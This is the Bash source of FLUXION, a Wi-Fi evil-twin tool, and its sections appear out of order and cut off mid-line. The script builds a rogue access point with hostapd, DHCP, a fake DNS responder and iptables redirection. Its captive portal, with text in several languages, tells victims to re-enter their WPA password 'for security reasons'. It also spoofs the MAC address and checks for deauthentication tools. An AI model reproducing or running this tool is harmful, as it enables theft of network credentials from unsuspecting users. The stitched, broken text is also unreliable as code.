DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_IT - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_IT - NEUTRA - break - elif [ "$fluxass" = "4" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR - DIALOG_WEB_OK=$DIALOG_WEB_OK_FR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_FR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_FR - NEUTRA - break - elif [ "$fluxass" = "5" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR - DIALOG_WEB_OK=$DIALOG_WEB_OK_POR - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_POR - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_POR - NEUTRA - break - - elif [ "$fluxass" = "6" ]; then - DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER - DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER - DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER - DIALOG_WEB_OK=$DIALOG_WEB_OK_GER - DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER - DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER - DIALOG_WEB_LENGHT_MIN=$DIALOG_WEB_LENGHT_MIN_GER - DIALOG_WEB_LENGHT_MAX=$DIALOG_WEB_LENGHT_MAX_GER - NEUTRA - break - elif [ "$fluxass" = "7" ]; then - continue - fi - fi - - done - preattack - attack -} - -# Create different settings required for the script -function preattack { - -# Config HostAPD -echo "interface=$WIFI -driver=nl80211 -ssid=$Host_SSID -channel=$Host_CHAN -">$DUMP_PATH/hostapd.conf - -# Creates PHP -echo "alert(\\\"$DIALOG_WEB_LENGHT_MIN\\\");window.history.back()\"; -break; -} - -if ( (strlen(\$key1) > 63) ) { -echo \"\"; -break; -} - - -\$file = fopen(\$filename, \"w\"); -fwrite(\$file,\"\$f_data\"); -fwrite(\$file,\"\n\"); -fclose(\$file); - - -\$archivo = fopen(\$intento, \"w\"); -fwrite(\$archivo,\"\n\"); -fclose(\$archivo); - -while(1) -{ - -if (file_get_contents(\"\$intento\") == 2) { - header(\"location:final.html\"); - break; - } -if (file_get_contents(\"\$intento\") == 1) { - header(\"location:error.html\"); - unlink(\$intento); - break; - } - -sleep(1); -} - -?>" > $DUMP_PATH/data/check.php - -# Config DHCP -echo "authoritative; - -default-lease-time 600; -max-lease-time 7200; - -subnet $RANG_IP.0 netmask 255.255.255.0 { - -option broadcast-address $RANG_IP.255; -option routers $IP; -option subnet-mask 255.255.255.0; -option domain-name-servers $IP; - -range $RANG_IP.100 $RANG_IP.250; - -} -" >$DUMP_PATH/dhcpd.conf - -#create an empty leases file -touch $DUMP_PATH/dhcpd.leases - -# creates Lighttpd web-server -echo "server.document-root = \"$DUMP_PATH/data/\" - -server.modules = ( - \"mod_access\", - \"mod_alias\", - \"mod_accesslog\", - \"mod_fastcgi\", - \"mod_redirect\", - \"mod_rewrite\" -) - -fastcgi.server = ( \".php\" => (( - \"bin-path\" => \"/usr/bin/php-cgi\", - \"socket\" => \"/php.socket\" - ))) - -server.port = 80 -server.pid-file = \"/var/run/lighttpd.pid\" -# server.username = \"www\" -# server.groupname = \"www\" - -mimetype.assign = ( -\".html\" => \"text/html\", -\".htm\" => \"text/html\", -\".txt\" => \"text/plain\", -\".jpg\" => \"image/jpeg\", -\".png\" => \"image/png\", -\".css\" => \"text/css\" -) - - -server.error-handler-404 = \"/\" - -static-file.exclude-extensions = ( \".fcgi\", \".php\", \".rb\", \"~\", \".inc\" ) -index-file.names = ( \"index.htm\" ) - -#Redirect www.domain.com to domain.com -\$HTTP[\"host\"] =~ \"^www\.(.*)$\" { -url.redirect = ( \"^/(.*)\" => \"http://%1/\$1\" ) -} - -" >$DUMP_PATH/lighttpd.conf - -# that redirects all DNS requests to the gateway -echo "import socket - -class DNSQuery: - def __init__(self, data): - self.data=data - self.dominio='' - - tipo = (ord(data[2]) >> 3) & 15 - if tipo == 0: - ini=12 - lon=ord(data[ini]) - while lon != 0: - self.dominio+=data[ini+1:ini+lon+1]+'.' - ini+=lon+1 - lon=ord(data[ini]) - - def respuesta(self, ip): - packet='' - if self.dominio: - packet+=self.data[:2] + \"\x81\x80\" - packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' - packet+=self.data[12:] - packet+='\xc0\x0c' - packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' - packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) - return packet - -if __name__ == '__main__': - ip='$IP' - print 'pyminifakeDNS:: dom.query. 60 IN A %s' % ip - - udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - udps.bind(('',53)) - - try: - while 1: - data, addr = udps.recvfrom(1024) - p=DNSQuery(data) - udps.sendto(p.respuesta(ip), addr) - print 'Request: %s -> %s' % (p.dominio, ip) - except KeyboardInterrupt: - print 'Finalizando' - udps.close() -" >$DUMP_PATH/fakedns -chmod +x $DUMP_PATH/fakedns - -} - -# Set up DHCP / WEB server -function routear { - - ifconfig $interfaceroutear up - ifconfig $interfaceroutear $IP netmask 255.255.255.0 - - route add -net $RANG_IP.0 netmask 255.255.255.0 gw $IP - echo "1" > /proc/sys/net/ipv4/ip_forward - - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - iptables -P FORWARD ACCEPT - - iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination $IP:80 - iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination $IP:443 - iptables -t nat -A POSTROUTING -j MASQUERADE -} - -# Attack -function attack { - - if [ "$fakeapmode" = "hostapd" ]; then - interfaceroutear=$WIFI - elif [ "$fakeapmode" = "airbase-ng" ]; then - interfaceroutear=at0 - fi - - handshakecheck - nomac=$(tr -dc A-F0-9 < /dev/urandom | fold -w2 |head -n100 | grep -v "${mac:13:1}" | head -c 1) - - if [ "$fakeapmode" = "hostapd" ]; then - - ifconfig $WIFI down - sleep 0.4 - macchanger --mac=${mac::13}$nomac${mac:14:4} $WIFI &> $flux_output_device - sleep 0.4 - ifconfig $WIFI up - sleep 0.4 - fi - - - if [ $fakeapmode = "hostapd" ]; then - killall hostapd &> $flux_output_device - xterm #!/bin/bash - -########## DEBUG Mode ########## -## ## - FLUX_DEBUG=0 -## ## -################################ - - - - -clear - -##################################### < CONFIGURATION > ##################################### - - -DUMP_PATH="/tmp/TMPflux" -# Number de desautentificaciones -DEAUTHTIME="30" -revision=5 -version=0.18 -IP=192.168.1.1 -RANG_IP=$(echo $IP | cut -d "." -f 1,2,3) - -#Colores -white="\033[1;37m" -grey="\033[0;37m" -red2="\033[0;35m" -red="\033[1;31m" -green="\033[1;32m" -yellow="\033[1;33m" -blue="\033[1;34m" -transparent="\e[0m" -############################################################################################## - -# DEBUG MODE = 1 ; DEBUG MODE = 0 [Normal Mode / Developer Mode] -if [ $FLUX_DEBUG = 1 ]; then - ## Developer Mode - export flux_output_device=/dev/stdout - HOLD="-hold" -else - ## Normal Mode - export flux_output_device=/dev/null - HOLD="" -fi - -# Delete Log only in Normal Mode ! -function conditional_clear() { - - if [[ "$flux_output_device" != "/dev/stdout" ]]; then clear; fi -} - -function airmon { - sudo chmod +x airmon -} -airmon -# Check Updates -function checkupdatess { - - revision_online="$(timeout -s SIGTERM 20 curl -L "https://sites.google.com/site/deltaxflux/fluxion" 2>/dev/null| grep "^revision" | cut -d "=" -f2)" - if [ -z "$revision_online" ]; then - echo "?">$DUMP_PATH/Irev - else - echo "$revision_online">$DUMP_PATH/Irev - fi - -} - -# Animation -function spinner { - - local pid=$1 - local delay=0.15 - local spinstr='|/-\' - while [ "$(ps a | awk '{print $1}' | grep $pid)" ]; do - local temp=${spinstr#?} - printf " [%c] " "$spinstr" - local spinstr=$temp${spinstr%"$temp"} - sleep $delay - printf "\b\b\b\b\b\b" - done - printf " \b\b\b\b" -} - -# ERROR Report only in Developer Mode -# FLUXION = Developer Mode -# Fluxass = Normal Mode -if [ "$FLUX_DEBUG" = "1" ]; then - trap 'err_report $FLUXION' ERR -fi - -# ERROR Report Normale Mode -function err_report { - echo "Error en la fluxass $1" -} - - -#If the script exits unexpectedly -trap exitmode SIGINT SIGHUP - -# KILL ALL -function exitmode { - - echo -e "\n\n"$white"["$red"-"$white"] "$red"Cleaning and closing"$transparent"" - - if ps -A | grep -q aireplay-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"aireplay-ng"$transparent"" - killall aireplay-ng &>$flux_output_device - fi - - if ps -A | grep -q airodump-ng; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"airodump-ng"$transparent"" - killall airodump-ng &>$flux_output_device - fi - - if ps a | grep python| grep fakedns; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"python"$transparent"" - kill $(ps a | grep python| grep fakedns | awk '{print $1}') &>$flux_output_device - fi - - if ps -A | grep -q hostapd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"hostapd"$transparent"" - killall hostapd &>$flux_output_device - fi - - if ps -A | grep -q lighttpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"lighttpd"$transparent"" - killall lighttpd &>$flux_output_device - fi - - if ps -A | grep -q dhcpd; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"dhcpd"$transparent"" - killall dhcpd &>$flux_output_device - fi - - if ps -A | grep -q mdk3; then - echo -e ""$white"["$red"-"$white"] "$white"Kill "$grey"mdk3"$transparent"" - killall mdk3 &>$flux_output_device - fi - - if [ "$WIFI_MONITOR" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI_MONITOR"$transparent"" - ./airmon stop $WIFI_MONITOR &> $flux_output_device - fi - - - if [ "$WIFI" != "" ]; then - echo -e ""$weis"["$rot"-"$weis"] "$weis"Detect Interface "$verde"$WIFI"$transparent"" - ./airmon stop $WIFI &> $flux_output_device - fi - - - if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"ipforwarding"$transparent"" - echo "0" > /proc/sys/net/ipv4/ip_forward #stop ipforwarding - fi - - echo -e ""$white"["$red"-"$white"] "$white"Cleaning "$grey"iptables"$transparent"" - iptables --flush - iptables --table nat --flush - iptables --delete-chain - iptables --table nat --delete-chain - - echo -e ""$white"["$red"-"$white"] "$white"Restoring "$grey"tput"$transparent"" - tput cnorm - - if [ $FLUX_DEBUG != 1 ]; then - - echo -e ""$white"["$red"-"$white"] "$white"Delete "$grey"files"$transparent"" - rm -R $DUMP_PATH/* &>$flux_output_device - fi - - echo -e ""$white"["$red"-"$white"] "$white"Restarting "$grey"NetworkManager"$transparent"" - service restart network-manager &> $flux_output_device & - - echo -e ""$white"["$green"+"$white"] "$green"Cleaning performed successfully!"$transparent"" - exit - -} - -# Genera listado de Interfaces en el Script -readarray -t webinterfaces < <(echo -e "Web Interface -\e[1;31mExit"$transparent"" -) - -# Genera listado de Idiomas web -readarray -t webinterfaceslenguage < <(echo -e "Engish [ENG] -Spanish[ESP] GERMAN [GER] -\e[1;31mBack"$transparent"" -) - -#Language for Web Interface -#GER -DIALOG_WEB_INFO_GER="Aus Sicherheitsgründen, geben sie bitte "$Host_ENC" den WPA2 Schlüssel ein" -DIALOG_WEB_INPUT_GER="Geben sie den WPA2 Schlüssel ein" -DIALOG_WEB_SUBMIT_GER="Bestätigen" -DIALOG_WEB_ERROR_GER="Error: Das eingegebene Passwort ist nicht Korrekt!" -DIALOG_WEB_OK_GER="Die Verbindung wird in wenigen Sekunden wiederhergestellt" -DIALOG_WEB_BACK_GER="Back" -DIALOG_WEB_LENGHT_MIN_GER="Das Passwort muss länger als 7 Zeichen sein" -DIALOG_WEB_LENGHT_MAX_GER="Das Passwort muss kürzer als 64 Zeichen sein" - -#EN -DIALOG_WEB_INFO_ENG="For security reasons, enter the "$Host_ENC" key to access the Internet" -DIALOG_WEB_INPUT_ENG="Enter your WPA password:" -DIALOG_WEB_SUBMIT_ENG="Submit" -DIALOG_WEB_ERROR_ENG="Error: The entered password is NOT correct!" -DIALOG_WEB_OK_ENG="Your connection will be restored in a few moments." -DIALOG_WEB_BACK_ENG="Back" -DIALOG_WEB_LENGHT_MIN_ENG="The password must be more than 7 characters" -DIALOG_WEB_LENGHT_MAX_ENG="The password must be less than 64 characters" - -#ESP -DIALOG_WEB_INFO_ESP="Por razones de seguridad, introduzca la contraseña "$Host_ENC" para acceder a Internet" -DIALOG_WEB_INPUT_ESP="Introduzca su contraseña WPA:" -DIALOG_WEB_SUBMIT_ESP="Enviar" -DIALOG_WEB_ERROR_ESP="Error: La contraseña introducida NO es correcta!" -DIALOG_WEB_OK_ESP="Su conexión se restablecerá en breves momentos." -DIALOG_WEB_BACK_ESP="Atrás" -DIALOG_WEB_LENGHT_MIN_ESP="La clave debe ser superior a 7 caracteres" -DIALOG_WEB_LENGHT_MAX_ESP="La clave debe ser inferior a 64 caracteres" - -#IT -DIALOG_WEB_INFO_IT="Per motivi di sicurezza, immettere la chiave "$Host_ENC" per accedere a Internet" -DIALOG_WEB_INPUT_IT="Inserisci la tua password WPA:" -DIALOG_WEB_SUBMIT_IT="Invia" -DIALOG_WEB_ERROR_IT="Errore: La password NON è corretta!" -DIALOG_WEB_OK_IT="La connessione sarà ripristinata in pochi istanti." -DIALOG_WEB_BACK_IT="Indietro" -DIALOG_WEB_LENGHT_MIN_IT="La password deve essere superiore a 7 caratteri" -DIALOG_WEB_LENGHT_MAX_IT="La password deve essere inferiore a 64 caratteri" - -#FR -DIALOG_WEB_INFO_FR="Pour des raisons de sécurité, veuillez introduire "$Host_ENC" votre clé pour acceder à Internet" -DIALOG_WEB_INPUT_FR="Entrez votre clé WPA:" -DIALOG_WEB_SUBMIT_FR="Valider" -DIALOG_WEB_ERROR_FR="Error: La clé que vous avez introduit NOT est incorrecte!" -DIALOG_WEB_OK_FR="Veuillez patienter quelques instants." -DIALOG_WEB_BACK_FR="Précédent" -DIALOG_WEB_LENGHT_MIN_FR="La passe dois avoir plus de 7 digits" -DIALOG_WEB_LENGHT_MAX_FR="La passe dois avoir moins de 64 digits" - -#POR -DIALOG_WEB_INFO_POR="Por razões de segurança, digite a senha para acessar a Internet" -DIALOG_WEB_INPUT_POR="Digite sua senha WPA" -DIALOG_WEB_SUBMIT_POR="Enviar" -DIALOG_WEB_ERROR_POR="Erro: A senha digitada NÃO está correto !" -DIALOG_WEB_OK_POR="Sua conexão é restaurada em breve." -DIALOG_WEB_BACK_POR="Voltar" -DIALOG_WEB_LENGHT_MIN_POR="A senha deve ter mais de 7 caracteres" -DIALOG_WEB_LENGHT_MAX_POR="A chave deve ser menor que 64 caracteres" - -# Design -function mostrarheader(){ - - conditional_clear - echo -e "$blue#########################################################" - echo -e "$blue# #" - echo -e "$blue#$red FLUXION $version" "${yellow}by ""${blue}deltax and strasharo ""$blue #"${blue} - echo -e "$blue#""${red} F""${yellow}lux" "${red}I""${yellow}s" "${red}T""${yellow}he ""${red}F""${yellow}uture" - echo -e "$blue# #" - echo -e "$blue#########################################################""$transparent" - echo - echo -} -##################################### < CONFIGURACION > ##################################### - - - - - - -############################################## < START > ############################################## - - -if ! [ $(id -u) = "0" ] 2>/dev/null; then - echo -e "\e[1;31mYou don't have admin privilegies"$transparent"" - exit -fi - -# Check requirements -function checkdependences { - - echo -ne "Aircrack-ng....." - if ! hash aircrack-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Aireplay-ng....." - if ! hash aireplay-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airmon-ng......." - if ! hash airmon-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Airodump-ng....." - if ! hash airodump-ng 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Awk............." - if ! hash awk 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Curl............" - if ! hash curl 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Dhcpd..........." - if ! hash dhcpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent" (isc-dhcp-server)" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Hostapd........." - if ! hash hostapd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Iwconfig........" - if ! hash iwconfig 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Lighttpd........" - if ! hash lighttpd 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Macchanger......" - if ! hash macchanger 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Mdk3............" - if ! hash mdk3 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Nmap............" - if ! [ -f /usr/bin/nmap ]; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Php5-cgi........" - if ! [ -f /usr/bin/php-cgi ]; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Pyrit..........." - if ! hash pyrit 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Python.........." - if ! hash python 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Unzip..........." - if ! hash unzip 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Reaver ...." - if ! hash reaver 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - echo -ne "Xterm..........." - if ! hash xterm 2>/dev/null; then - echo -e "\e[1;31mNot installed"$transparent"" - exit=1 - else - echo -e "\e[1;32mOK!"$transparent"" - fi - sleep 0.025 - - if [ "$exit" = "1" ]; then - exit 1 - fi - - sleep 1 - clear -} -mostrarheader -checkdependences - -# Create Workbook -if [ ! -d $DUMP_PATH ]; then - mkdir $DUMP_PATH &>$flux_output_device -fi - - -if [ $FLUX_DEBUG != 1 ]; then - - echo "" - sleep 0.1 && echo -e $red "O))))))))O)) O)) O))O)) O))O)) O)))) O))) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O) O)) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O)) O))" - sleep 0.1 && echo -e $red "O)))))) O)) O)) O)) O)) O))O)) O))O)) O)) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O))O)) O))O)) O) O))" - sleep 0.1 && echo -e $red "O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O) ))" - sleep 0.1 && echo -e $red "O)) O)))))))) O))))) O)) O))O)) O)))) O)) O))" - echo "" - - sleep 1 - echo -e $red" FLUX "$white""$version" (rev. "$green "$revision"$white") "$yellow"by "$white" deltax" - sleep 1 - echo -e $green " Page:"$red"www.flux.jimdo.de "$transparent - sleep 1 - echo -n " Latest rev." - tput civis - checkupdatess & - spinner "$!" - revision_online=$(cat $DUMP_PATH/Irev) - echo -e ""$white" [${red2}${revision_online}$white"$transparent"]" -# if [ "$revision_online" != "?" ]; then -# -# if [ "$revision" != "$revision_online" ]; then -# -# cp $0 $HOME/flux_rev-$revision.backup -# curl -A "Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20100101 Firefox/11.0" -L https://sites.google.com/site/deltaxflux/fluxion -s -o $0 -# echo -# echo -# echo -e ""$red" -#Updated successfully! Restarting the script to apply the changes ..."$transparent"" -# sleep 5 -# chmod +x $0 -# exec $0 -# -# fi -# fi - echo "" - tput cnorm - sleep 2 - -fi - -# Show info for the selected AP -function infoap { - - Host_MAC_info1=`echo $Host_MAC | awk 'BEGIN { FS = ":" } ; { print $1":"$2":"$3}' | tr [:upper:] [:lower:]` - Host_MAC_MODEL=`macchanger -l | grep $Host_MAC_info1 | cut -d " " -f 5-` - echo "INFO WIFI" - echo - echo -e " "$blue"SSID"$transparent" = $Host_SSID / $Host_ENC" - echo -e " "$blue"Channel"$transparent" = $channel" - echo -e " "$blue"Speed"$transparent" = ${speed:2} Mbps" - echo -e " "$blue"BSSID"$transparent" = $mac (\e[1;33m$Host_MAC_MODEL"$transparent")" - echo -} - -############################################## < START > ############################################## - - - - - - -############################################### < MENU > ############################################### - -# Windows + Resolution -function setresolution { - - function resA { - - TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" - BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" - } - - function resB { - - TOPLEFT="-geometry 92x14+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 92x36+0-0" - BOTTOMRIGHT="-geometry 74x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 74x30-0+0" - } - function resC { - - TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" - TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" - } - function resD { - TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" - BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" - TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" - } - function resE { - TOPLEFT="-geometry 130x43+0+0" - TOPRIGHT="-geometry 68x25-0+0" - BOTTOMLEFT="-geometry 130x40+0-0" - BOTTOMRIGHT="-geometry 132x35-0-0" - TOPLEFTBIG="-geometry 130x85+0+0" - TOPRIGHTBIG="-geometry 132x48-0+0" - } - function resF { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" -} - -detectedresolution=$(xdpyinfo | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) -## A) 1024x600 -## B) 1024x768 -## C) 1280x768 -## D) 1280x1024 -## E) 1600x1200 -case $detectedresolution in - "1024x600" ) resA ;; - "1024x768" ) resB ;; - "1280x768" ) resC ;; - "1366x768" ) resC ;; - "1280x1024" ) resD ;; - "1600x1200" ) resE ;; - "1366x768" ) resF ;; - * ) resA ;; -esac -} - -# Choose Interface -function setinterface { - - # Collect all interfaces in montitor mode & stop all - KILLMONITOR=`iwconfig 2>&1 | grep Monitor | awk '{print $1}'` - - for monkill in ${KILLMONITOR[@]}; do - ./airmon stop $monkill >$flux_output_device - echo -n "$monkill, " - done - - # Create a variable with the list of physical network interfaces - readarray -t wirelessifaces < <(./airmon |grep "-" | cut -d- -f1) - INTERFACESNUMBER=`./airmon| grep -c "-"` - - echo - echo - echo Autodetect Resolution ... - echo $detectedresolution - echo - - - - if [ "$INTERFACESNUMBER" -gt "0" ]; then - - echo "Select an interface" - echo - i=0 - - for line in "${wirelessifaces[@]}"; do - i=$(($i+1)) - wirelessifaces[$i]=$line - echo -e "$blue ""$i)"$transparent" $line" - done - - echo -n "#? " - read line - PREWIFI=$(echo ${wirelessifaces[$line]} | awk '{print $1}') - - if [ $(echo "$PREWIFI" | wc -m) -le 3 ]; then - conditional_clear - mostrarheader - setinterface - fi - - readarray -t softwaremolesto < <(./airmon check $PREWIFI | tail -n +8 | grep -v "on interface" | awk '{ print $2 }') - WIFIDRIVER=$(./airmon | grep "$PREWIFI" | awk '{print($(NF-2))}') - rmmod -f "$WIFIDRIVER" &>$flux_output_device 2>&1 - - for molesto in "${softwaremolesto[@]}"; do - killall "$molesto" &>$flux_output_device - done - sleep 0.5 - - modprobe "$WIFIDRIVER" &>$flux_output_device 2>&1 - sleep 0.5 - # Select Wifi Interface - select PREWIFI in $INTERFACES; do - break; - done - - WIFIMONITOR=$(./airmon start $PREWIFI | grep "enabled on" | cut -d " " -f 5 | cut -d ")" -f 1) - WIFI_MONITOR=$WIFIMONITOR - WIFI=$PREWIFI - - #No wireless cards - else - - echo There are no wireless cards, quit... - sleep 5 - exitmode - fi - - deltax - -} - -# Check files -function deltax { - - conditional_clear - CSVDB=dump-01.csv - - rm -rf $DUMP_PATH/* - - choosescan - selection -} - -# Select channel -function choosescan { - - conditional_clear - - while true; do - conditional_clear - mostrarheader - - echo "Select channel" - echo " " - echo -e " "$blue"1)"$transparent" All channels " - echo -e " "$blue"2)"$transparent" Specific channel(s) " - echo " " - echo -n " #> " - read yn - echo "" - case $yn in - 1 ) Scan ; break ;; - 2 ) Scanchan ; break ;; - * ) echo "Unknown option. Please choose again"; conditional_clear ;; - esac - done -} - -# Choose your channel if you choose option 2 before -function Scanchan { - - conditional_clear - mostrarheader - - echo " " - echo " Select Channel " - echo " " - echo -e " Single channel "$blue"6"$transparent" " - echo -e " Multiple channels "$blue"1-5"$transparent" " - echo -e " Multiple channels "$blue"1,2,5-7,11"$transparent" " - echo " " - echo -n " #> " - read channel_number - set -- ${channel_number} - conditional_clear - - rm -rf $DUMP_PATH/dump* - xterm $HOLD -title "Scanning Target [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR -} - -# Scans the entire network -function Scan { - - conditional_clear - xterm $HOLD -title "WIFI Monitor (CTRL+C When Ready to Select Target)" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng -w $DUMP_PATH/dump -a $WIFI_MONITOR -} - -# Choose a network -function selection { - - conditional_clear - mostrarheader - - - LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` - - if [ $LINEAS_WIFIS_CSV -le 3 ]; then - deltax && break - fi - - linap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` - linap=`expr $linap - 1` - head -n $linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv - tail -n +$linap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv - echo " WIFI LIST " - echo "" - echo " # MAC CHAN SECU PWR ESSID" - echo "" - i=0 - - while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do - longueur=${#MAC} - PRIVACY=$(echo $PRIVACY| tr -d "^ ") - PRIVACY=${PRIVACY:0:4} - if [ $longueur -ge 17 ]; then - i=$(($i+1)) - POWER=`expr $POWER + 100` - CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` - - if [ "$CLIENTE" != "" ]; then - CLIENTE="*" - fi - - echo -e " ""$green "$i")"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$red" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" - aidlenght=$IDLENGTH - assid[$i]=$ESSID - achannel[$i]=$CHANNEL - amac[$i]=$MAC - aprivacy[$i]=$PRIVACY - aspeed[$i]=$SPEED - fi - done 